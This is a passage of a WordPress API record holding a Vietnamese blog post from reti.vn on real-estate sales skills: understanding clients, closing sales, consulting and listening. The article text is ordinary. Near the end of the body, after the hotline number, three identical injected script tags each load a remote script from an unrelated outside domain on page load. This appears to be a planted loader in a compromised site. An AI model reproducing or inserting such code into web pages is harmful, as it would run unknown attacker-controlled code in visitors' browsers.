\u0111\u01b0\u1ee3c nhu c\u1ea7u, mong mu\u1ed1n c\u1ee7a kh\u00e1ch h\u00e0ng. T\u1eeb \u0111\u00f3 li\u1ec7t k\u00ea nh\u1eefng \u0111i\u1ec3m m\u1ea1nh c\u1ee7a d\u1ef1 \u00e1n \u0111\u1ea5t n\u1ec1n b\u1ea1n \u0111ang sale. \u0110\u1ed3ng th\u1eddi, \u0111\u01b0a ra th\u00f4ng \u0111i\u1ec7p v\u1edbi nh\u1eefng gi\u00e1 tr\u1ecb, nh\u1eefng \u201cvi\u1ec5n c\u1ea3nh t\u01b0\u01a1i s\u00e1ng\u201d m\u00e0 kh\u00e1ch h\u00e0ng nh\u1eadn \u0111\u01b0\u1ee3c.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Tr\u00ean th\u1ef1c t\u1ebf, c\u00e1ch sale \u0111\u1ea5t n\u1ec1n \u1edf t\u1eebng ph\u00e2n kh\u00fac s\u1ea3n ph\u1ea9m l\u00e0 ho\u00e0n to\u00e0n kh\u00e1c nhau. B\u00e1n \u0111\u1ea5t n\u1ec1n gi\u00e1 r\u1ebb v\u00e0i tr\u0103m tri\u1ec7u v\u1edbi \u0111\u1ea5t n\u1ec1n cao c\u1ea5p v\u00e0i 3 t\u1ef7 \u0111\u1ed5 l\u00ean l\u00e0 r\u1ea5t kh\u00e1c bi\u1ec7t. Ch\u00ednh v\u00ec v\u1eady m\u00e0 c\u00e1ch th\u1ee9c marketing, qu\u1ea3ng c\u00e1o c\u1ee7a 2 ph\u00e2n kh\u00fac \u0111\u1ea5t n\u1ec1n n\u00e0y c\u0169ng kh\u00f4ng gi\u1ed1ng nhau. T\u1eeb c\u00e1ch l\u00ean th\u00f4ng \u0111i\u1ec7p, x\u00e2y d\u1ef1ng content marketing \u0111\u1ebfn k\u00eanh truy\u1ec1n th\u00f4ng s\u1ea3n ph\u1ea9m \u0111\u1ec1u \u0111\u01b0\u1ee3c t\u00ednh to\u00e1n k\u1ef9 c\u00e0ng.\u00a0\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Ky_nang_chot_sale_chung_cu\"><\/span><b>K\u1ef9 n\u0103ng ch\u1ed1t sale chung c\u01b0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">\u0110\u00e3 l\u00e0m ngh\u1ec1 d\u1ecbch v\u1ee5, n\u1ebfu b\u1ea1n c\u00f3 k\u1ef9 n\u0103ng ch\u0103m s\u00f3c kh\u00e1ch t\u1ed1t th\u00ec \u0111\u00f3 l\u00e0 m\u1ed9t l\u1ee3i th\u1ebf. Khi kh\u00e1ch h\u00e0ng ch\u1ec9 tin m\u1ed7i b\u1ea1n, ch\u1ee9 kh\u00f4ng ai kh\u00e1c th\u00ec b\u1ea1n \u0111\u00e3 n\u1eafm \u0111\u01b0\u1ee3c c\u01a1 h\u1ed9i th\u00e0nh c\u00f4ng trong tay. H\u00e3y c\u1ea3m nh\u1eadn m\u00ecnh ch\u00ednh l\u00e0 ng\u01b0\u1eddi \u0111i mua h\u00e0ng ch\u1ee9 kh\u00f4ng ph\u1ea3i b\u00e1n h\u00e0ng. B\u1ea1n s\u1ebd g\u1eb7p \u0111\u00fang ng\u01b0\u1eddi c\u1ea7n mua, \u0111\u00f3 ch\u00ednh l\u00e0 k\u1ef9 n\u0103ng cao nh\u1ea5t c\u1ee7a m\u1ed9t b\u1ea1n m\u00f4i gi\u1edbi B\u1ea5t \u0111\u1ed9ng s\u1ea3n chuy\u00ean nghi\u1ec7p\u2026<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Ph\u01b0\u01a1ng ph\u00e1p h\u1ecfi d\u00f9ng \u0111\u1ec3 khai th\u00e1c kh\u00e1ch h\u00e0ng xem h\u1ecd c\u00f2n v\u01b0\u1edbng v\u1ea5n \u0111\u1ec1 g\u00ec \u0111\u1ec3 x\u1eed l\u00fd ti\u1ebfp. Trong b\u00e1n h\u00e0ng quan tr\u1ecdng l\u00e0 gi\u00fap kh\u00e1ch h\u00e0ng gi\u1ea3i quy\u1ebft v\u1ea5n \u0111\u1ec1 c\u1ee7a h\u1ecd b\u1eb1ng s\u1ea3n ph\u1ea9m c\u1ee7a m\u00ecnh n\u00ean b\u1ea1n c\u1ea7n h\u1ecdc c\u00e1ch \u0111\u1eb7t c\u00e2u h\u1ecfi \u0111\u1ec3 th\u1ea5u hi\u1ec3u v\u1ea5n \u0111\u1ec1 c\u1ee7a kh\u00e1ch h\u00e0ng.\u00a0\u00a0\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Ky_nang_tu_van_bat_dong_san\"><\/span><b>K\u1ef9 n\u0103ng t\u01b0 v\u1ea5n b\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">\u0110\u00e2y l\u00e0 k\u1ef9 n\u0103ng t\u01b0 v\u1ea5n b\u1ea5t \u0111\u1ed9ng s\u1ea3n kh\u00f4ng th\u1ec3 thi\u1ebfu c\u1ee7a m\u1ed9t nh\u00e2n vi\u00ean kinh doanh xu\u1ea5t s\u1eafc. Khi t\u1ea1o d\u1ef1ng m\u1ed1i quan h\u1ec7 v\u1edbi kh\u00e1ch h\u00e0ng th\u00ec b\u1ea1n s\u1ebd c\u00f3 80% kh\u1ea3 n\u0103ng th\u00e0nh c\u00f4ng trong giao d\u1ecbch. Ch\u00ednh v\u00ec th\u1ebf c\u00e1c k\u1ef9 n\u0103ng v\u1ec1 giao ti\u1ebfp, \u0111\u00e0m ph\u00e1n r\u1ea5t quan tr\u1ecdng \u0111\u1ec3 b\u1ea1n c\u00f3 th\u1ec3 n\u1eafm b\u1eaft \u0111\u01b0\u1ee3c t\u00e2m l\u00fd kh\u00e1ch h\u00e0ng, tr\u00f2 chuy\u1ec7n c\u1edfi m\u1edf v\u00e0 t\u1ea1o \u0111\u01b0\u1ee3c ni\u1ec1m tin t\u01b0\u1edfng tuy\u1ec7t \u0111\u1ed1i.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">M\u1ed9t trong nh\u1eefng k\u1ef9 n\u0103ng quan tr\u1ecdng nh\u1ea5t l\u00e0 l\u1eafng nghe m\u1ed9t c\u00e1ch c\u1ea9n th\u1eadn. Khi l\u1eafng nghe kh\u00e1ch h\u00e0ng, b\u1ea1n c\u0169ng ph\u1ea3i nghe m\u1ed9t c\u00e1ch ch\u1ee7 \u0111\u1ed9ng v\u00e0 hi\u1ec3u nh\u1eefng g\u00ec \u0111ang di\u1ec5n ra. C\u1ed1 g\u1eafng nh\u1edb t\u00ean kh\u00e1ch v\u00e0 s\u1eed d\u1ee5ng th\u01b0\u1eddng xuy\u00ean trong cu\u1ed9c giao ti\u1ebfp.<\/span><\/p>\n<figure id=\"attachment_35580\" aria-describedby=\"caption-attachment-35580\" style=\"width: 1024px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/01\/ky-nang-sale-bat-dong-san-4.jpg\" rel=\"lightbox-0\"><img decoding=\"async\" class=\"wp-image-35580 size-full lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/01\/ky-nang-sale-bat-dong-san-4.jpg\" alt=\"\" width=\"1024\" height=\"768\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/01\/ky-nang-sale-bat-dong-san-4.jpg 1024w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/01\/ky-nang-sale-bat-dong-san-4-300x225.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/01\/ky-nang-sale-bat-dong-san-4-768x576.jpg 768w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/01\/ky-nang-sale-bat-dong-san-4-150x113.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/01\/ky-nang-sale-bat-dong-san-4-696x522.jpg 696w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/01\/ky-nang-sale-bat-dong-san-4-80x60.jpg 80w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/01\/ky-nang-sale-bat-dong-san-4-265x198.jpg 265w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/01\/ky-nang-sale-bat-dong-san-4-100x74.jpg 100w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/768;\" \/><\/a><figcaption id=\"caption-attachment-35580\" class=\"wp-caption-text\">\u0110\u1ed3ng th\u1eddi, b\u1ea1n c\u0169ng n\u00ean t\u00ecm hi\u1ec3u xem kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng \u0111\u00f3 l\u00e0 ng\u01b0\u1eddi th\u1ebf n\u00e0o, s\u1edf th\u00edch l\u00e0 g\u00ec xung quanh m\u1ed7i c\u00e2u chuy\u1ec7n.<\/figcaption><\/figure>\n<p class=\"c3\"><span class=\"c2\">Th\u1ecb tr\u01b0\u1eddng b\u1ea5t \u0111\u1ed9ng s\u1ea3n l\u00e0 m\u1ed9t th\u1ecb tr\u01b0\u1eddng r\u1ea5t sinh l\u1ee3i nh\u01b0ng \u0111\u1ea7y t\u00ednh c\u1ea1nh tranh. Reti hy v\u1ecdng nh\u1eefng k\u1ef9 n\u0103ng, ph\u1ea9m ch\u1ea5t \u0111\u01b0\u1ee3c li\u1ec7t k\u00ea \u1edf tr\u00ean gi\u00fap b\u1ea1n c\u00f3 \u0111\u01b0\u1ee3c c\u00e1i nh\u00ecn t\u1ed5ng quan v\u1ec1 ngh\u1ec1 Sale b\u1ea5t \u0111\u1ed9ng s\u1ea3n. H\u00e3y lu\u00f4n trau d\u1ed3i v\u00e0 ho\u00e0n thi\u1ec7n b\u1ea3n th\u00e2n m\u1ed7i ng\u00e0y b\u1ea1n nh\u00e9! Reti ch\u00fac b\u1ea1n th\u00e0nh c\u00f4ng!<\/span><\/p>\n<p class=\"c3\"><span class=\"c6\">\u0110\u1eebng qu\u00ean truy c\u1eadp website\u00a0<\/span><span class=\"c6 c9\"><a class=\"c5\" href=\"https:\/\/reti.vn\/\">reti.vn<\/a><\/span><span class=\"c2\">\u00a0v\u00e0 fanpage\u00a0<a href=\"https:\/\/www.facebook.com\/retiproptech\" target=\"_blank\" rel=\"noopener\">Reti proptech<\/a> \u0111\u1ec3 th\u01b0\u1eddng xuy\u00ean c\u1eadp nh\u1eadt nh\u1eefng th\u00f4ng tin h\u1eefu \u00edch li\u00ean quan \u0111\u1ebfn kinh nghi\u1ec7m t\u01b0 v\u1ea5n b\u1ea5t \u0111\u1ed9ng s\u1ea3n.\u00a0<\/span><\/p>\n<p>M\u1ecdi th\u00f4ng tin chi ti\u1ebft vui l\u00f2ng li\u00ean h\u1ec7<\/p>\n<p><strong>Hotline: 1800 8085<\/strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Mu\u1ed1n b\u00e1n \u0111\u01b0\u1ee3c s\u1ea3n ph\u1ea9m b\u1ea5t \u0111\u1ed9ng s\u1ea3n (B\u0110S), b\u1ea1n c\u1ea7n trang b\u1ecb cho m\u00ecnh nh\u1eefng ky nang sale bat dong san. Nh\u1eefng k\u1ef9 n\u0103ng \u0111\u00f3 l\u00e0 g\u00ec? C\u00e2u tr\u1ea3 l\u1eddi s\u1ebd c\u00f3 ngay trong b\u00e0i vi\u1ebft d\u01b0\u1edbi \u0111\u00e2y c\u1ee7a Reti \u0111\u1ec3 gi\u00fap c\u00e1c b\u1ea1n c\u00f3 h\u00e0nh trang v\u1eefng v\u00e0ng trong ngh\u1ec1 sale b\u1ea5t \u0111\u1ed9ng [&hellip;]<\/p>\n","protected":false},"author":36,"featured_media":35571,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"tdm_status":"","tdm_grid_status":"","footnotes":""},"categories":[307],"tags":[],"class_list":{"0":"post-35570","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-meo-nho-bat-dong-san"},"external_url":"","featured_image_url":"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/01\/ky-nang-sale-bds.jpg","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/35570","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/36"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=35570"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/35570\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media\/35571"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=35570"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=35570"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=35570"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}